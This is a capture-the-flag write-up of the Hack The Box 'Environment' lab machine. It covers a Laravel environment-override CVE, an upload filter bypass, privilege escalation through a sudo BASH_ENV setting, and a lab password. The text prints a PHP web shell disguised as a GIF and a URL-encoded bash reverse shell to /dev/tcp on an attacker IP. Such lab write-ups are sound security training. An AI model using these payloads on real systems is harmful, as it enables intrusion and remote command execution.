Hack The Box - Enviroment

Introduction

In this write up I will be detailing how I completed the "Enviroment" Machine on Hack the Box. Environment is a medium-difficulty Linux machine that has us exploiting a web application with the goal of obtaining a 'User' and 'Root' flag. Although I've done close to 10 easy-difficulty machines on HTB this is was my first attempt at completing a medium-difficulty machine, so there was noticeable jump in complexity, especially in obtaining an initial foothold.

Enumeration

As usual I started off with an nmap scan of the machine, which revealed an ssh service running on port 22 and an http service running on port 80.

After adding the IP address and domain to my hosts file I visited the website, however there was nothing useful on the landing page, so I decided to continue enumerating by running a gobuster scan to find any useful directories that might be on the page.

As shown in the screenshot above there was a login page but there was no way to register an account, so I decided to capture a login request via Burp Suite to see what data was being sent.

This ended up being incredibly helpful as it revealed that the web app was running an instance of Laravel, but it did not give us much information besides that. After some failed attempts at fuzzing common credentials I ended up forcing an error by removing the remember parameter which exposed PHP code.

The webpage showed that the Laravel instance running was version 11.30.0, and the PHP logic that was reveled showed that there was no else case to handle values for the remember parameter outside of true/false. Trying to gain more information I modified a POST request again, this time setting the remember parameter to "asdf" to see how the webapp would handle it.

This time the PHP code that was leaked showed an obvious vulnerability in the statement if(App::enviroment()=="preprod", showing that if the environment was set to "preprod" the page would automatically log into the admin account (user_id=1).

Initial Foothold

After doing some research I found CVE-2024-52301, which is described as "When the register_argc_argv php directive is set to on , and users call any URL with a special crafted query string, they are able to change the environment used by the framework when handling the request". Looking at the vulnerable versions we see that the vulnerability existed up until Laravel 11.31.0, meaning that our version of 11.30.0 was vulnerable.

After finding this PoC on github I realized that the exploit was as simple as adding ?--env=production to the URL, so I modified the POST request I captured earlier to change the environment.

at first it didn't work, but after attempting again with the remember parameter set to true it worked! I managed to log in as the user "Hish" and obtain access to an admin panel.

The dashboard had very limited interactivity, however there was a file upload field to allow us to upload a new profile picture.

The website allowed us to upload any file type, however after some initial testing I realized there might be backend validation since attempting to upload a php file directly did not seem to work. After much testing I eventually settled on this:

• I created a file named shell.php. which allowed us to bypass the backend filter thanks to the trailing dot

• The file contained the code GIF89a<?php echo shell_exec($_GET['cmd']); ?>, which disguised executable php code as a GIF by adding the usual gif file header at the start of the file (GIF89a)

• I changed the content type on the POST request to image/gif, tricking it into thinking it was a normal GIF file.

Right clicking the profile picture and selecting "copy image address" showed that the file was uploaded to http://environment.htb/storage/files/shell.php, and commands could be passed in using the cmd parameter by adding ?cmd=[COMMAND] to the URL.

I tested it with ls, and as can be seen above, the command worked! Now it was just a matter of setting up a nc listener and entering the correct command on the website that would connect to it.

I set up a listener on port 4444 using nc -lvnp 4444 and began to test different payloads. Needing to take URL encoding into account I eventually managed to connect using the command bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.13%2F4444%200%3E%261%22

Success! I now had a shell on the machine as the user www-data and was able to obtain the user flag from /home/hish.

Lateral Movement

When finding the user flag I also noticed Hish had a folder named backup which contained a .gpg file.

There was also a hidden .gnupg folder on hish's home directory which contained the private keys needed to decrypt keyvault.gpg.

www-data only had limited access to the .gnupg folder but I was able to copy it over to my tmp folder in order to work with the files using cp -r /home/hish/.gnupg /tmp/gnupg. Changing over to the /tmp folder I used the private keys in the gnupg folder to decrypt keyvault.gpg and output it's contents to decrypted.txt.

Looking at the newly created decrypted.txt I found that the password for Hish was marineSPm@ster!!

Privilege Escalation

Switching over to the hish account I ran sudo -l and found that the account had root privileges to the binary /usr/bin/systeminfo. More interestingly however, it had the line env_keep+="ENV BASH_ENV".

After researching what this meant, I realized that BASH_ENV is an environment variable in bash that points to a script, which will execute prior to any other bash script using the permissions of the script you are trying to run. In this case, we have the ability to run /usr/bin/systeminfo as root, so whatever script we assign to BASH_ENV will also run as root.

Normally this variable is cleared when a bash script runs as sudo, however because of the line env_keep+= "ENV BASH_ENV" in the sudo -l output this is not the case. The machine is basically saying "When using sudo, keep this environmental variable".

To exploit this I made a simple bash script named exploit.sh and had it create a shell, using the -p flag to make it persistent. After making it executable it was just a matter of running a script which I had sudo permissions for, in this case /usr/bin/systeminfo. Because we are running with sudo the shell crated by exploit.sh would run as root, and would remain persistent after /usr/bin/systeminfo executes thanks to the -p flag.

It worked! running /usr/bin/systeminfo while BASH_ENV was set to my malicious script popped a root shell where I could now run commands. From there it was just a matter of navigating to the root directory and obtaining the root flag.

Conclusion

Overall "Environment" ended up being a fun and challenging first step into the medium-difficulty machines for me. The name proved to be quite flavorful, as the challenge involved us manipulating environment variables both to obtain an initial foothold and then to escalate privileges to root, first by manipulating the environment variable in a vulnerable Laravel instance and later on by leveraging the BASH_ENV environment variable in a bash shell.